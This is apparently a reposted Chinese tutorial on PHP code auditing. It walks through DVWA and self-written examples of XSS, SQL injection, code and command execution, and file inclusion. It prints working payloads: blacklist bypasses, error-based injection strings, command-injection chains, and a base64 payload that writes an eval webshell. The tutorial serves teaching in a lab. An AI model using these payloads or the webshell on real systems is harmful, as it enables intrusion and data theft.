代码审计入门 转载

前言javascript

最近在看php代码审计,学习下代码审计,看了很多师傅的博客,写的很好,下面很多是借鉴师傅们的,好记性不如烂笔头,记下,之后能够方便查看。php

 
php代码审计须要比较强的代码能力和足够的耐心。这篇文章是写给我这样的刚刚开始审计的菜鸟,下面若是写的哪里有错误的话,还望提出,不吝赐教。
在这里也立个flag:一周至少审计一种CMS(大小不分),但愿本身可以坚持下去,任重而道远。

 

代码审计--准备html

1,先放一张大图,php代码审计的几个方向,也是容易出问题的地方,没事的时候能够多看看。前端

 

 

 

2,代码审计也就是拿到某网站的源码,进行审计,从而发现漏洞,可是咱们审计的时候并不必定要一行一行的去看吧,这样未免也太浪费时间了,因此咱们须要工具进行帮助咱们。当属 "Seay源代码审计系统2.1" 优先选择(静态分析,关键字查找定位代码不错,可是误报很高)。java

咱们在作代码审计的时候,我的建议先要把审计的某CMS随便点点,先熟悉一下功能。代码审计前先进行黑盒测试是个不错的选择,知道哪里有问题,而后再去找出问题的代码。python

要关注变量和函数,mysql

1.能够控制的变量【一切输入都是有害的 】
2.变量到达有利用价值的函数[危险函数] 【一切进入函数的变量是有害的】
                                                                    ------来源t00ls
 
 
 

代码审计--漏洞react

一,漏洞类型linux

1.sql注入web

 

2.文件操做[上传/写入/读取/删除]

 

3.文件包含

 

4.命令执行

 

5.xss

 

6.cookie欺骗

 

7.逻辑漏洞

 

........等等
 
咱们日常再进行黑盒测试时,上面的每种漏洞都有相对应的挖掘技巧,这里代码审计也是有技巧的。咱们进行黑盒测试getshell的时候,每每是上面的sql注入,文件操做(上传),文件包含,命令执行相对容易getshell的。xss的话危害也很大,能够泄露内网的信息,若是的是存储型xss的话,就能够打管理员的cookie,而后进行下一步的攻击。逻辑漏洞是相对麻烦的,危害是很要命的,逻辑漏洞也分为不少种,其中一元买东西是很出彩的,这里经过修改订单进行伪造支付金额。
因此咱们要认识清楚漏洞原理,积累cms常出漏洞,积累找这种漏洞的技巧。
 
二,漏洞分析
下面咱们就进行分析一下各类漏洞造成的缘由吧
1,首先咱们要作好准备工做,审计环境:windows环境(Apache+MySQL+php),可使用集成的,wampserver,phpstudy其余,我用的是wamp,这里在下载的时候不要用版本过高的,由于版本过高,会出现php语法警告以及不兼容的状况。(下一篇也就是我准备写的一个审计笔记,我日常用的wampserver,因为个人mysql的版本过高,一直安装不成功,后来又重装了一个环境(upupw),会在下一篇详细介绍)(文章里面所提到的环境和工具后面都会分享到百度云盘)。
 
 
2,准备好了就直接上手分析吗?其实有更不错的选择,那就是----黑盒+白盒。黑盒很重要!黑盒很重要!黑盒很重要!这是重要的事情。咱们在黑盒测试的时候,能够花费点时间,由于用的时间越多,咱们对所要分析的CMS的功能更熟悉,代码审计的时候也就容易分析,好比看到搜索框,固然要看下有没有注入或者是能不能弹出来框框,以及留言板有没有xss。交互的数据很重要!
这里有个小技巧, 本地测试的时候要把输入点打印出来。
将用户的输入数据进行var_dump,重要的是对最终的sql语句进行var_dump,这和给你省去不少力气!咱们只要var_dump($sql)而后再能够去黑盒测试,[好比搜索框,用户登入,文件上传名称等等]。
 
3,如今能够进行漏洞分析了,下面会写到比较常见的漏洞类型以及审计不一样漏洞的技巧。
 
XSS漏洞
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。 xss分为存储型的xss和反射型xss, 基于DOM的跨站脚本XSS。
 
【反射型】

反射型xss审计的时候基本的思路都同样,经过寻找可控没有过滤(或者能够绕过)的参数,经过echo等输出函数直接输出。寻找的通常思路就是寻找输出函数,再去根据函数寻找变量。通常的输出函数有这些:print , print_r , echo , printf , sprintf , die , var_dump ,var_export。

测试代码以下:

<?php
echo $_GET['xssf'];
?>

http://127.0.0.1/test/xssf.php?xssf=<script>alert(/orange/);</script>

 
 
可能有人会有情绪不高,由于这是本身写的,玩起来没有成就感,
那咱们能够用渗透平台 DVWA 呀(后面会分享到百度云盘,有了wampserver环境,直接把文件夹放/wamp/www/目录就能够),固然了,这里咱们选择low的难度,由于好分析。咱们输入<script>alert("orange")</script>,会弹出框框。以下图所示
相关连接(http://127.0.0.1/DVWA-1.9/vulnerabilities/xss_r/?name=<script>alert("orange")</script>#)
 

 

 

 

 

分析以下:首先看下源码

 

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

这里咱们能够清楚的看到 if 里面的php函数array_key_exists,如今不懂不要紧,百度一下你就知道。

array_key_exists(key,array)
key 必需。规定键名。
array 必需。规定数组。

array_key_exists() 函数检查某个数组中是否存在指定的键名,若是键名存在则返回 true,若是键名不存在则返回 false。

输入的值也就是GET获得的值是以数组的形式,而后判断GET获得的name是否是空,若是知足 if 语句,这里就会进行 if 括号里面的,echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 咱们能够清楚的看到,这里直接输出传的name参数,并无任何的过滤与检查,存在明显的XSS漏洞。

 

 

 

这里咱们能够再进行分析一下medium中等难度下的代码

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

能够看到有一点上low的代码是不同的,那就是进行了一次过滤,

用的str_replace()函数,这个函数的功能是:以其余字符替换字符串中的一些字符(区分大小写)。

这里的做用是替换<script>,也就是把<script>替换成空格,而后再进行输出。

这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的<script>删除,这种防御机制是能够被轻松绕过的。

双写绕过:输入<sc<script>ript>alert(/xss/)</script>,成功弹框。

大小写混淆绕过:输入<ScRipt>alert(/xss/)</script>,成功弹框。这里就不截图了。

 

 

 

High等级也是基于黑名单思想,进行过滤。可是咱们能够经过其余标签来进行XSS。

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

代码如上,这里就不一一分析了。

 

 

 

 

【存储型】

存储型xss审计和反射型xss审计时候思路差很少,不过存储型xss会在数据库“中转”一下,主要审计sql语句update ,insert更新和插入。

进行白盒审计前,咱们先进行下黑盒测试

输入name的时候发现,name输不了那么多了,这是咱们能够右键审查元素,能够看到限制长度为10了,其实说这句话,只是想提醒一下像我这样的小白,审查元素也是一门"学问"

name出随便输入,message处输入:<script>alert(/orange/)</script>,能够看到会弹出框框

 

这是看下源码,咱们分析下

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );

    // Sanitize name input
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?>

能够看到接收POST过来的参数,trim()函数是移除字符串两侧的空白字符或其余预约义字符。

这里先进行过滤一下,把咱们输入字符串两侧的空白字符和其余预约义字符给过滤掉。预约义字符包括:\t,\n,\x0B,\r以及空格。

$message = stripslashes( $message );

而后stripslashes()函数:删除反斜杠

而后message参数再通过mysql_real_escape_string()函数进行转义。

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

若是成功,则该函数返回被转义的字符串。若是失败,则返回 false。

最后给插入数据库。这个时候咱们去数据库看一下,以下图,能够看到xss代码已经插入数据库了,这也就是存储型XSS与反射性XSS的区别。

由于咱们在前端看到的都是经由数据库传过来的数据,因此会弹出框框。

这里我最后总结一下,顺便再分析一下。

我输入的值是:<script>alert(/orange/)</script>,首先上面的trim()函数过滤空格和预约义字符,这里对输入的值是没有影响的,因此$messsge仍是<script>alert(/orange/)</script>,而后stripslashes()函数删除反斜杠,因为输入的message没有反斜杠,因此无效。$message仍是<script>alert(/orange/)</script>,最后用mysql_real_escape_string()函数进行转义,上面能够清楚的看到这个函数对什么字符有影响,可是没有对$message有影响,因此这时的$_message仍是<script>alert(/orange/)</script>这个时候就把$message传入数据库,也就是上图数据库中的数据。前端读取的数据的时候是从数据库中读取,所以把$message读出来,从而形成了存储型XSS漏洞。

还有medium,high,这里就不作分析了,这里解决XSS漏洞的方法就是用htmlspecialchars函数进行编码。可是要注意的是,若是htmlspecialchars函数使用不当,

攻击者就能够经过编码的方式绕过函数进行XSS注入,尤为是DOM型的XSS。说的DOM型XSS,下面就是啦。

 

 

 

 

【DOM】

这个DVWA里面没有这种,这里仍是咱们本身动手丰衣足食吧。

基于DOM的跨站脚本XSS:经过访问document.URL 或者document.location执行一些客户端逻辑的javascript代码。不依赖发送给服务器的数据。

 

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system

</HTML>

 

 

浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它而且修改你的HTML页面。假若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,而后当即解析,同时,javascript代码会找到(alert(…))而且在同一个页面执行它,这就产生了xss的条件。

注意:

1. 恶意程序脚本在任什么时候候不会嵌入处处于天然状态下的HTML页面(这和其余种类的xss不太同样)。

2.这个攻击只有在浏览器没有修改URL字符时起做用。 当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),所以在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,所以他很容易受到攻击。

这里能够看到个人浏览器自动转换了字符<>,因此没有弹出框,这里咱们知道原理就好,IE6下没有转换<和>,因此是能够弹框框的。

 

 

 

 

SQL注入漏洞

sql注入是咱们审计比较重视的漏洞之一

SQL注入,就是经过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。SQL注入的产生缘由:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

首先说一下普通的注入审计,能够经过$_GET,$_POST等传参追踪数据库操做,也能够经过select , delete , update,insert 数据库操做语句反追踪传参。

如今的通常的CMS都注意到了SQL注入的严重性,因此他们对于注入都进行了必定的过滤,通常他们会用到两种过滤方法。

01.对于数字型的输入,直接使用intval($_GET[id]),强制转换成整数,这种过滤是毫无办法的。
$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
要是没有intval($_GET[id]) 那就尴尬了。
ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin)
02.有些输入是字符型的,不可能转换成数字。这个使用就使用addslashes对输入进行转义。
aaa’aa ==> aaa\’aa
aaa\aa ==> aaa\\aa
SELECT * FROM post WHERE id=’aaa\’ union select pwd from admin limit 0,1#

 

下面介绍下常见的SQL注入类型,最后再用DVWA进行分析。

漏洞(一)ip没过滤直接进到sql语句
函数讲解:
getenv : 这个函数是得到环境变量的函数,也能够用来得到$_SERVER数组的信息。
getenv('HTTP_X_FORWARDED_FOR') --> $_SERVER[HTTP_X_FORWARDED_FOR]
固然http头还有referer 这也是能够假装的,要是没有过滤好也会产生会注入问题
 
 
漏洞(二)宽字节注入 [对字符]
若是发现 cms是GBK 只有看看 能不能宽字节注入
Sqlmap 的unmagicquotes.py 能够进行宽字测试
解决宽字节注入办法:
mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
到这里就通常高枕无忧了.....
可是 要是多此一举得使用iconv就可能出现问题了
有些cms:
会加上下面语句避免乱码
iconv('utf-8', 'gbk', $_GET['word']);
将传入的word有utf-8转成gbk.....
发现錦的utf-8 编码是0xe98ca6,而的gbk 编码是0xe55c
咱们输入錦' -->%e5%5c%27【%5c就是\】
在通过转移------>%e5%5c%5c%27【5c%5c就是\\】这样咱们就能够注入了
 
 
 
 
漏洞(三)二次注入
攻击payload首先被Web服务器上的应用存储,随后又在关键操做中被使用,这便被称为二次注入漏洞。
详细请看(http://www.cnblogs.com/ichunqiu/p/5852330.html)
 
 
 
漏洞(四)文件名注入
由于$_FILE,$_SERVER不受gpc影响,那么可能形成注入.......
有些cms会把name的值保存在数据库里,但又没有对name进行过滤。
乌云编号:wooyun-2010-051124
 
 
漏洞(五)报错注入

一、经过floor报错,注入语句以下:  

and select from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

二、经过ExtractValue报错,注入语句以下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

三、经过UpdateXml报错,注入语句以下:

and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

四、经过NAME_CONST报错,注入语句以下:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

五、经过join报错,注入语句以下:

select * from(select * from mysql.user ajoin mysql.user b)c;

六、经过exp报错,注入语句以下:

and exp(~(select * from (select user () ) a) );

七、经过GeometryCollection()报错,注入语句以下:

and GeometryCollection(()select *from(select user () )a)b );

八、经过polygon ()报错,注入语句以下:

and polygon (()select * from(select user ())a)b );

九、经过multipoint ()报错,注入语句以下:

and multipoint (()select * from(select user() )a)b );

十、经过multlinestring ()报错,注入语句以下:

and multlinestring (()select * from(selectuser () )a)b );

十一、经过multpolygon ()报错,注入语句以下:

and multpolygon (()select * from(selectuser () )a)b );

十二、经过linestring ()报错,注入语句以下:

and linestring (()select * from(select user() )a)b );
 
小技巧:
最好可见在本地测试时候讲你的输入点打印出来
我会将用户的输入数据进行var_dump
重要的是对最终的sql语句进行var_dump,这和给你省去不少力气!咱们只要var_dump($sql)而后再能够去黑盒测试。
 
 
 

 DVWA分析

SQL Injection

选择Low级别,便于审计分析。首先咱们黑盒测试一下,咱们输入:

1‘or ’1‘=’1这个时候就能够判断出存在字符型注入。

1' or 1=1 order by 2 #   ,1' or 1=1 order by 3 #,这个时候就能够判断2个字段。下面的就不进行注入爆库了。

 

 

 

这个时候看下源码分析一下。

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>

能够看到,接收到submit传过来的值,id没有进行任何的检查与过滤,存在明显的SQL注入。

 

 

选择medium级别

代码以下

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    //mysql_close();
}

?>

 

能够看到对接收到的参数id  只是用函数mysql_real_escape_string()转义了一下。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

并且前端页面设置了下拉选择表单,但愿以此来控制用户的输入。不过没多大用处,咱们依然能够经过抓包改参数,提交恶意构造的查询参数。

抓包更改参数id为1 or 1=1 #,查询成功,说明存在数字型注入。(因为是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,由于数字型注入并不须要借助引号。),因此咱们仍是能够进行注入。

 

 

 

选择high级别

代码分析

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>

 

以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,但愿以此控制只输出一个结果。

虽然添加了LIMIT 1,可是咱们能够经过#将其注释掉。这样的就又能够进行注入了。

 

 

 

 

 

SQL Injection(Blind),即SQL盲注

与通常注入的区别在于,通常的注入攻击者能够直接从页面上看到注入语句的执行结果,而盲注时攻击者一般是没法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,所以盲注的难度要比通常注入高。目前网络上现存的SQL注入漏洞大可能是SQL盲注。

代码分析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

能够看到,Low级别的代码对参数id没有作任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种

 

User ID exists in the database.

User ID is MISSING from the database.

所以这里是SQL盲注漏洞。

 

输入1’ and 1=1 #,显示存在。输入1’ and 1=2 #,显示不存在。说明存在字符型的SQL盲注。这里仅做判断存在SQL注入,不进一步攻击。

 

 

 

选择medium级别

代码分析

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

 

能够看到对接收到的参数id  只是用函数mysql_real_escape_string()转义了一下。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

并且前端页面设置了下拉选择表单,但愿以此来控制用户的输入。不过没多大用处,咱们依然能够经过抓包改参数,提交恶意构造的查询参数。

抓包更改参数输入1’ and 1=1 #,显示存在。输入1’ and 1=2 #,显示不存在。说明存在字符型的SQL盲注,查询成功,说明存在注入。

 

 

high级别

代码分析

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

能够看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,但愿以此控制只输出一个结果。

虽然添加了LIMIT 1,可是咱们能够经过#将其注释掉。但因为服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,但仍然是能够注入的。

 

 

 

 

 

代码执行审计

代码执行审计和sql漏洞审计很类似,sql注入是想sql语句注入在数据库中,代码执行是将可执行代码注入到webservice 。这些容易致使代码执行的函数有如下这些:eval(), asset() , preg_replace(),call_user_func(),call_user_func_array(),array_map()其中preg_replace()须要/e参数。

代码执行注入就是 在php里面有些函数中输入的字符串参数会当作PHP代码执行。

Eval函数在PHP手册里面的意思是:将输入的字符串编程PHP代码

1,先写个简单的代码测试一下(很俗套的代码)

<?php
if(isset($_GET['orange']))
{
    $orange=$_GET['orange'];
    eval("\$orange=$orange");
}
//PHP  代码审计代码执行
?>

直接接收orange参数,payload:?orange=phpinfo();

下面图能够看到成功执行。


 

 

 

2,再看一个,测试代码以下

<?php
//PHP 代码审计代码执行注入
if(isset($_GET['orange']))
{
    echo $regexp = $_GET['orange'];
    $String = '<php>phpinfo()</php>';
    var_dump(preg_replace("/<php>(.*?)$regexp","\\1",$String));
}
?>

能够看到代码有正则preg_replace(),因此如今须要/e参数,才能进行代码执行。

正则表达式过滤后是phpinfo(),正则表达式的意思是将String中含reg的字符串的样式去除。因此如今咱们能够构造payload:?orange=<\/php>/e   ,如今解释一下为何,preg_replace(),/<php>(.*?)$regexp,接收的参数构形成正则表达式/<php>(.*?)<\/php>/e,将$String也就是<php>phpinfo()</php>过滤成phpinfo(),这样就能够成功执行了。

 

 3,参数注入,测试代码以下

<?php
//PHP 代码审计代码执行注入
if(isset($_GET['orange']))
{
    echo $regexp = $_GET['orange'];
    //$String = '<php>phpinfo()</php>';
    //var_dump(preg_replace("/<php>(.*?)$regexp","\\1",$String));
    preg_replace("/orange/e",$regexp,"i am orange");
}
?>

分析和上面差很少。
直接构造payload就好:?orange=phpinfo();

 

 4,动态函数执行----一个超级隐蔽的后门

测试代码

<?php $_GET[a]($_GET[b]);?>

 仅用GET函数就构成了木马;利用方法payload:

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

 运行上述payload,会在同目录下生成c.php文件,里面的内容是<?php @eval($_POST[c]); ?>1,生成一句话木马。

 

 

 

 

 命令执行审计

代码执行说的是可执行的php脚本代码,命令执行就是能够执行系统命令(cmd)或者是应用指令(bash),这个漏洞也是由于传参过滤不严格致使的,

通常咱们说的php可执行命令的函数有这些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open();

反引号也是能够执行的,由于他调用了shell_exec这个函数。

1,测试代码:

<?php
$orange=$_GET['orange'];
system($orange);
?>

直接GET传参,而后system()----执行shell命令也就是向dos发送一条指令

payload:?orange=net user   查看一下电脑的用户。

 

 


2,再演示一个popen()函数
测试代码:
<?php
popen('net user>>C:/Users/ww/Desktop/1234.txt','r');
?>

只要php文件运行,就会在上述路径生成1234.txt文件,里面的内容是net user的结果。

 

 

 

3,反引号命令执行

测试代码:

<?php
echo `net user`;
?>

直接echo ,直接就能够执行命令

 

 

 

 

 

 

DVWA分析

选择low级别,先进行一下黑盒测试。

输入8.8.8.8&&net user,能够看到成功执行两条命令

下面分析一下,相关函数介绍 

stristr(string,search,before_search)

stristr函数搜索字符串在另外一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),若是未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(若是该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为“false” ,若是设置为 “true”,函数将返回 search 参数第一次出现以前的字符串部分。

php_uname(mode)

这个函数会返回运行php的操做系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的全部模式),”s ”(返回操做系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。

 

命令链接符


command1 && command2   先执行command1后执行command2
command1 | command2     只执行command2
command1 & command2    先执行command2后执行command1


以上三种链接符在windows和linux环境下都支持
若是程序没有进行过滤,那么咱们就能够经过链接符执行多条系统命令。

 

 

能够看到,服务器经过判断操做系统执行不一样ping命令,可是对ip参数并未作任何的过滤,致使了严重的命令注入漏洞。

看下代码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

上面代码能够清楚的看到,对输入的命令没有过滤,直接进行参数的传递。能够经过用“&&”和“;”来执行额外的命令 ping 8.8.8.8&&net user

 

 

 

选择medium级别,先进行黑盒测试,

发现输入:8.8.8.8&&net user,不能够用,这个时候能够去掉一个,输入:8.8.8.8&net user,是能够”成功“的。

可是这里须要注意的是”&&”与”    &”的区别:
Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,不然不执行Command 2

Command 1&Command 2
先执行Command 1,无论是否成功,都会执行Command 2

 

这个时候咱们看下代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

相比Low级别的代码,服务器端对ip参数作了必定过滤,即把”&&” ,”;”删除,本质上采用的是黑名单机制,所以依旧存在安全问题。

这个时候就能够开始利用了

 

***由于被过滤的只有”&&”与”    ;”,因此”&”不会受影响。因此能够输入:8.8.8.8&net user

***因为使用的是str_replace把”&&”,”;”替换为空字符,所以能够采用如下方式绕过: 8.8.8.8;&net user

这是由于”8.8.8.8&;&net user”中的” ;”会被替换为空字符,这样一来就变成了”8.8.8.8&;&net user” ,会成功执行。

 

 

 

 

选择high级别,先进行黑盒测试,结果发现,好多都被过滤掉了,不要紧,看下代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

相比Medium级别的代码,High级别的代码进一步完善了黑名单,但因为黑名单机制的局限性,咱们依然能够绕过。

漏洞利用

Command 1 | Command 2
“|”是管道符,表示将Command 1的输出做为Command 2的输入,而且只打印Command 2执行的结果。
黑名单看似过滤了全部的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,因而    ”|” 就有用了。

输入:8.8.8.8|net user  

下图成功执行。

 

 

 

 

文件包含审计

 PHP的文件包含能够直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行便可。

文件包含有这么两种:本地包含(LFI)和远程包含(RFI)。,顾名思义就能理解它们的区别在哪。

审计的时候函数都是同样的,这个四个包含函数: include() ; include_once() ; require();require_once().include 和 require 语句是相同的,除了错误处理方面:require 会生成致命错误(E_COMPILE_ERROR)并中止脚本,include 只生成警告(E_WARNING),而且脚本会继续。

先说一下本地包含,本地包含就指的是只能包含本机文件的漏洞,通常要配合上传,或者是已控的数据库来进行使用。

先写个简单的代码测试一下。

在www目录下新建两个php文件,baohan1.php,baohan2.php

baohan2.php代码

<?php
phpinfo();
?>

 

baohan1.php

<?php
include("baohan2.php");
?>

打开baohan1.php,能够看到成功执行baohan2.php的代码,成功把banhan2.php给包含了

 

这个时候稍微修改下代码。把baohan1.php的:include("baohan2.php");改为include("baohan2.txt");

把baohan2.php改为baohan2.txt。再次访问baihan1.php,能够看到成功包含,

接下来将baohan2.txt文件的扩展名分别改成jpg、rar、doc、xxx进行测试,发现均可以正确显示phpinfo信息。由此可知,只要文件内容符合PHP语法规范,那么任何扩展名均可以被PHP解析。

 

 

再来看一下远程文件包含

当服务器的php配置中选项allow_url_fopen与allow_url_include为开启状态时,服务器会容许包含远程服务器上的文件。若是对文件来源没有检查的话,就容易致使任意远程代码执行。

allow_url_include在默认状况下是关闭的,若是想要实验测试的话,能够去打开,可是真实环境中建议关闭。

 

 

DVWA分析

